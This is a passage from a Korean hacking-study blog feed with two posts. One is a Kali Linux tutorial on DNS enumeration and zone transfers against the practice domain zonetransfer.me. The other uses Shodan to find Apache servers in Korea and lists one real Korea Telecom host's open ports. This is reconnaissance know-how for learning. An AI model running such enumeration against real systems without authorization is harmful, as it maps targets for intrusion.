&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W3zUj/btqGfNgmC9Z/nMPHyQluqOwcSAKvvVCXMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W3zUj/btqGfNgmC9Z/nMPHyQluqOwcSAKvvVCXMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W3zUj/btqGfNgmC9Z/nMPHyQluqOwcSAKvvVCXMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW3zUj%2FbtqGfNgmC9Z%2FnMPHyQluqOwcSAKvvVCXMk%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;위와 같이 host zonetransfer.me라고 명령어를 입력해주면 ip주소와 e메일 주소 관련 서버를 알 수 있게 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GmXMX/btqGiLCDGvm/5mM5Ik3zSy2wZFFa7UEtAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GmXMX/btqGiLCDGvm/5mM5Ik3zSy2wZFFa7UEtAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GmXMX/btqGiLCDGvm/5mM5Ik3zSy2wZFFa7UEtAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGmXMX%2FbtqGiLCDGvm%2F5mM5Ik3zSy2wZFFa7UEtAK%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;또 이런 ip주소를 알아낼 때 nslookup을 사용할 수도 있다.&lt;/p&gt;
&lt;p&gt;위와 같이 nslookup zonetransfer.me라고 입력해준다.&lt;/p&gt;
&lt;p&gt;그러면 위와 같이 ip주소를 얻을 수 있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8u8iZ/btqGkRop1dq/RfGOpU5oXMqUPemEsZDKkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8u8iZ/btqGkRop1dq/RfGOpU5oXMqUPemEsZDKkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8u8iZ/btqGkRop1dq/RfGOpU5oXMqUPemEsZDKkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8u8iZ%2FbtqGkRop1dq%2FRfGOpU5oXMqUPemEsZDKkK%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;또 DNS 서버 요청을 처리하는 네임 서버라는 곳이 있는데 이곳은 사이트의 서브도메인과 ip주소를 모두 알고 있다.&lt;/p&gt;
&lt;p&gt;host -t ns zonetransfer.me를 입력해준다.&lt;/p&gt;
&lt;p&gt;그러면 위와 같이 zonetransfer.me의 네임서버를 알 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buQhsI/btqGgxLct6B/4iHQVQ6qcnUtzCB9WOMarK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buQhsI/btqGgxLct6B/4iHQVQ6qcnUtzCB9WOMarK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buQhsI/btqGgxLct6B/4iHQVQ6qcnUtzCB9WOMarK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuQhsI%2FbtqGgxLct6B%2F4iHQVQ6qcnUtzCB9WOMarK%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이 네임서버의 이름을 알아내면 zonetransfer라는 공격을 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;zonetransfer라는 것은 원래 DNS 서버들끼리 자신의 데이터 베이스를 복사해주어서 서로 정보를 공유를 하기 위해 사용하는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;일반적으로 관리자는 권한이 있는 서버들에게만 허용을 해줘야 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이것을 잘못 설정하게 되면 외부에서도 zonetransfer가 가능하게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;nbsp;(&lt;/span&gt;zonetransfer.me는 이 공격을 실습하기 위해 만든 사이트라서 불법이 아니다.)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;위의 사진과 같이 host -l zonetransfer.me nsztm1.digi.ninja를 입력해준다.&lt;/p&gt;
&lt;p&gt;그럼 위와 같이 zonetransfer.me의 서브 도메인이 출력되었다.&lt;/p&gt;
&lt;p&gt;그리고 그 서브 도메인의 ip주소도 알 수 있게 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzP7HN/btqGnpY2g7I/CgWeoLIXw8XtDDgkXOEPk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzP7HN/btqGnpY2g7I/CgWeoLIXw8XtDDgkXOEPk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzP7HN/btqGnpY2g7I/CgWeoLIXw8XtDDgkXOEPk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzP7HN%2FbtqGnpY2g7I%2FCgWeoLIXw8XtDDgkXOEPk1%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tamlg/btqGgxj7bCy/YWZtG6LqzWCLurRBktPKP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tamlg/btqGgxj7bCy/YWZtG6LqzWCLurRBktPKP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tamlg/btqGgxj7bCy/YWZtG6LqzWCLurRBktPKP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftamlg%2FbtqGgxj7bCy%2FYWZtG6LqzWCLurRBktPKP1%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;또 다른 방법으로 dnsenum을 사용할 수 있다.&lt;/p&gt;
&lt;p&gt;위와 같이 dnsenum -h를 입력해준다.&lt;/p&gt;
&lt;p&gt;그러면 dnsenum의 다양한 옵션들을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;하지만 그냥 간단하게 도메인 이름만 넣어서도 사용이 가능하기에 그렇게 실습을 해보겠다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OMKM1/btqGgwFtyKj/Xp5Voa2i7xiECA5gzfHB51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OMKM1/btqGgwFtyKj/Xp5Voa2i7xiECA5gzfHB51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OMKM1/btqGgwFtyKj/Xp5Voa2i7xiECA5gzfHB51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOMKM1%2FbtqGgwFtyKj%2FXp5Voa2i7xiECA5gzfHB51%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJu7Mb/btqGfNtWi6v/KZken9Kju9bJml5YhdezIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJu7Mb/btqGfNtWi6v/KZken9Kju9bJml5YhdezIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJu7Mb/btqGfNtWi6v/KZken9Kju9bJml5YhdezIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJu7Mb%2FbtqGfNtWi6v%2FKZken9Kju9bJml5YhdezIk%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;dnsenum zonetransfer.me를 입력해주면 위와 같이 네임서버, 메일서버 zonetransfer를 실행한 결과들을 보여주고 있다.&lt;/p&gt;
&lt;p&gt;(너무 많기 때문에 밑에 부분을 잘랐다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>ip 주소 추적</category>
      <category>정보보안전문가</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스 사용법</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/41</guid>
      <comments>https://geru.tistory.com/41#entry41comment</comments>
      <pubDate>Sat, 8 Aug 2020 12:00:02 +0900</pubDate>
    </item>
    <item>
      <title>쇼단을 이용해서 보안 취약점을 가지 시스템을 찾아내기</title>
      <link>https://geru.tistory.com/40</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 쇼단이란?&lt;/h2&gt;
&lt;p&gt;&lt;span&gt;보안 취약점을 가진 시스템을 찾아내어&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;보안을 강화하기 위한 수단으로 개발되었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;보안 취약점을 가진 시스템을 찾아 주는 기능을 가지고 있기 때문에 &lt;/span&gt;&lt;span&gt;&amp;ldquo;&lt;/span&gt;&lt;span&gt;어둠의 구글&lt;/span&gt;&lt;span&gt;&amp;rdquo;, &amp;ldquo;&lt;/span&gt;&lt;span&gt;해커들의 놀이터&lt;/span&gt;&lt;span&gt;&amp;rdquo;&lt;/span&gt;&lt;span&gt;라는 별칭이 따라붙고 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;쇼단은 특정한 조건에 맞는 서버&lt;/span&gt;&lt;span&gt;(Server), &lt;/span&gt;&lt;span&gt;라우터&lt;/span&gt;&lt;span&gt;(Router), CCTV &lt;/span&gt;&lt;span&gt;카메라&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;각종 &lt;/span&gt;&lt;span&gt;IoT &lt;/span&gt;&lt;span&gt;디바이스&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;를 찾아주는 검색엔진이다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;CCTV&lt;/span&gt;&lt;span&gt;를 많이 사용하는 한국은 위협이 될 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;만약 보안에 관심이 없는 사람이 &lt;/span&gt;&lt;span&gt;ID/Password&lt;/span&gt;&lt;span&gt;를 변경하지 않고 공장 출하 값으로 그대로 사용하고 있다면&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;촬영 내용이 의도치 않게 외부로 노출되게 된다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;또 공격 대상을 검색해서 대상의 &lt;/span&gt;&lt;span&gt;IP &lt;/span&gt;&lt;span&gt;주소를 알아낼 수 있고 열려있는 포트 번호도 확인이 가능하다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname01.bmp&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;289&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZI2iH/btqGirDqDut/Z4LuVbTz5fR0s6Nr9Ikd8K/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZI2iH/btqGirDqDut/Z4LuVbTz5fR0s6Nr9Ikd8K/tfile.bmp&quot; data-alt=&quot;쇼단&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZI2iH/btqGirDqDut/Z4LuVbTz5fR0s6Nr9Ikd8K/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZI2iH%2FbtqGirDqDut%2FZ4LuVbTz5fR0s6Nr9Ikd8K%2Ftfile.bmp&quot; data-filename=&quot;noname01.bmp&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;289&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;쇼단&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. &lt;span&gt;쇼단을 이용해서 한국에서 아파치를 이용하는 서버 검색&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname02.bmp&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;32&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wkj6L/btqGmprdIof/AiJmVZVo6JQ8TMHIML5ehK/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wkj6L/btqGmprdIof/AiJmVZVo6JQ8TMHIML5ehK/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wkj6L/btqGmprdIof/AiJmVZVo6JQ8TMHIML5ehK/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWkj6L%2FbtqGmprdIof%2FAiJmVZVo6JQ8TMHIML5ehK%2Ftfile.bmp&quot; data-filename=&quot;noname02.bmp&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;32&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;일단 한국에서 아파치를 사용하는 서버를 검색하였다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname03.bmp&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;316&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oNtif/btqGgxYqRaU/y72kA671kgPOsKXPWZRVh0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oNtif/btqGgxYqRaU/y72kA671kgPOsKXPWZRVh0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oNtif/btqGgxYqRaU/y72kA671kgPOsKXPWZRVh0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoNtif%2FbtqGgxYqRaU%2Fy72kA671kgPOsKXPWZRVh0%2Ftfile.bmp&quot; data-filename=&quot;noname03.bmp&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;316&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;아파치 서버를 사용하는 리스트들이 출력이 되었다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname04.bmp&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;357&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XXLjK/btqGfabAgEZ/aZE1EiuPkA1ZuKIXoCHVA0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XXLjK/btqGfabAgEZ/aZE1EiuPkA1ZuKIXoCHVA0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XXLjK/btqGfabAgEZ/aZE1EiuPkA1ZuKIXoCHVA0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXXLjK%2FbtqGfabAgEZ%2FaZE1EiuPkA1ZuKIXoCHVA0%2Ftfile.bmp&quot; data-filename=&quot;noname04.bmp&quot; data-origin-width=&quot;420&quot; data-origin-height=&quot;357&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;지도를 키면 아파치 서버를 사용하는 회사의 위치도 알 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;아파치를 사용하는 서버 리스트들 중에 &lt;/span&gt;&lt;span&gt;Korea Telecom &lt;/span&gt;&lt;span&gt;이란 곳에 들어갔다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname05.bmp&quot; data-origin-width=&quot;236&quot; data-origin-height=&quot;203&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LVEEY/btqGkQCBOJO/EalJN1Hokj80iKOC5gQ6w0/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LVEEY/btqGkQCBOJO/EalJN1Hokj80iKOC5gQ6w0/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LVEEY/btqGkQCBOJO/EalJN1Hokj80iKOC5gQ6w0/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLVEEY%2FbtqGkQCBOJO%2FEalJN1Hokj80iKOC5gQ6w0%2Ftfile.bmp&quot; data-filename=&quot;noname05.bmp&quot; data-origin-width=&quot;236&quot; data-origin-height=&quot;203&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;마지막 업데이트 날짜와 지역을 알 수 있었다&lt;/span&gt;&lt;span&gt;. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname06.bmp&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;139&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXmmYc/btqGfMO3oby/0gy1504TKiclxBd1LMhaB1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXmmYc/btqGfMO3oby/0gy1504TKiclxBd1LMhaB1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXmmYc/btqGfMO3oby/0gy1504TKiclxBd1LMhaB1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXmmYc%2FbtqGfMO3oby%2F0gy1504TKiclxBd1LMhaB1%2Ftfile.bmp&quot; data-filename=&quot;noname06.bmp&quot; data-origin-width=&quot;272&quot; data-origin-height=&quot;139&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span&gt;열려있는 포트는 다음과 같다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;22&lt;/span&gt;&lt;span&gt;번 포트&lt;/span&gt;&lt;span&gt;(SSH), 80&lt;/span&gt;&lt;span&gt;번 포트&lt;/span&gt;&lt;span&gt;(http), 443&lt;/span&gt;&lt;span&gt;번 포트&lt;/span&gt;&lt;span&gt;(https), 3306&lt;/span&gt;&lt;span&gt;번 포트&lt;/span&gt;&lt;span&gt;(mysql)&lt;/span&gt;&lt;span&gt;을 확인할 수 있으므로 이 서버는 웹서버임을 알 수 있다&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;noname07.bmp&quot; data-origin-width=&quot;215&quot; data-origin-height=&quot;158&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chhhYl/btqGmqwTuYH/PpKhkAZlbp9grVD2jGLKh1/tfile.bmp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chhhYl/btqGmqwTuYH/PpKhkAZlbp9grVD2jGLKh1/tfile.bmp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chhhYl/btqGmqwTuYH/PpKhkAZlbp9grVD2jGLKh1/tfile.bmp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchhhYl%2FbtqGmqwTuYH%2FPpKhkAZlbp9grVD2jGLKh1%2Ftfile.bmp&quot; data-filename=&quot;noname07.bmp&quot; data-origin-width=&quot;215&quot; data-origin-height=&quot;158&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
